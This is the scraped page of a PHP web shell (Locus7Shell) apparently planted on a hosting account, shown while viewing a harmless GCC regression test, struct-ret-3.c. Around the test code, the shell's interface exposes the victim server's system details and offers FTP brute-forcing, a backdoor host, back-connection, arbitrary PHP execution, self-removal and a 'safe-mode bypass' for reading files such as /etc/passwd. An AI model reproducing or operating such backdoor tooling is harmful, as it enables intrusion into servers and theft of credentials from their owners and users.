Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     struct-ret-3.c (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/31309 */
/* Origin: Peeter Joot <peeterj@ca.ibm.com> */

/* { dg-do run { target *-*-linux* *-*-gnu* *-*-uclinux* } } */
/* { dg-add-options stack_size } */
 
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>

#if defined(STACK_SIZE) && (STACK_SIZE < 128*1024)
 #define CHUNK_SIZE 4096
#else
 #define CHUNK_SIZE 16384
#endif

unsigned long ossAlignX(unsigned long i, unsigned long X)
{
   return ((i + (X - 1)) & ~(unsigned long) (X - 1));
}

struct STRUCT_6_BYTES
{
   unsigned char slot[sizeof(unsigned short)];
   unsigned char page[sizeof(unsigned int)];
};

struct SQLU_DICT_INFO_0
{
   void *pBlah;
   char bSomeFlag1;
   char bSomeFlag2;
   struct STRUCT_6_BYTES dRID;
};

struct SQLU_DATAPART_0
{
   struct SQLU_DICT_INFO_0 *pDictRidderInfo;
};

struct XXX
{
   struct SQLU_DATAPART_0 *m_pDatapart;
};

struct STRUCT_6_BYTES INIT_6_BYTES_ZERO()
{
   struct STRUCT_6_BYTES ridOut = {{0,0}, {0,0,0,0}};
   return ridOut;
}

void Initialize(struct XXX *this, int iIndex)
{
   struct SQLU_DICT_INFO_0 *pDictRidderInfo
     = this->m_pDatapart[iIndex].pDictRidderInfo;
   pDictRidderInfo->bSomeFlag1 = 0;
   pDictRidderInfo->bSomeFlag2 = 0;
   pDictRidderInfo->dRID = INIT_6_BYTES_ZERO();
}

int main(void)
{
   int rc;

   struct stuff
   {
      char c0[CHUNK_SIZE-sizeof(struct XXX)];
      struct XXX o;
      char c1[CHUNK_SIZE*2-sizeof(struct SQLU_DATAPART_0)];
      struct SQLU_DATAPART_0 dp;
      char c2[CHUNK_SIZE*2-sizeof(struct SQLU_DICT_INFO_0)];
      struct SQLU_DICT_INFO_0 di;
      char c3[CHUNK_SIZE];
   };

   char buf[sizeof(struct stuff)+CHUNK_SIZE];
   struct stuff *u
     = (struct stuff *)ossAlignX((unsigned long)&buf[0], CHUNK_SIZE);

   /* This test assumes system memory page
      size of CHUNK_SIZE bytes or less.  */
   if (sysconf(_SC_PAGESIZE) > CHUNK_SIZE)
     return 0;

   memset(u, 1, sizeof(struct stuff));
   u->c1[0] = '\xAA';
   u->c2[0] = '\xBB';
   u->c3[0] = '\xCC';

   rc = mprotect(u->c1, CHUNK_SIZE, PROT_NONE);
   if (rc == -1)
      printf("mprotect:c1: %d: %d(%s)\n", rc, errno, strerror(errno));

   rc = mprotect(u->c2, CHUNK_SIZE, PROT_NONE);
   if (rc == -1)
      printf("mprotect:c2: %d: %d(%s)\n", rc, errno, strerror(errno));

   rc = mprotect(u->c3, CHUNK_SIZE, PROT_NONE);
   if (rc == -1)
      printf("mprotect:c3: %d: %d(%s)\n", rc, errno, strerror(errno));

   u->o.m_pDatapart = &u->dp;
   u->dp.pDictRidderInfo = &u->di;
   Initialize(&u->o, 0);

   mprotect(u->c1, CHUNK_SIZE, PROT_READ|PROT_WRITE);
   mprotect(u->c2, CHUNK_SIZE, PROT_READ|PROT_WRITE);
   mprotect(u->c3, CHUNK_SIZE, PROT_READ|PROT_WRITE);

   return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0065 ]--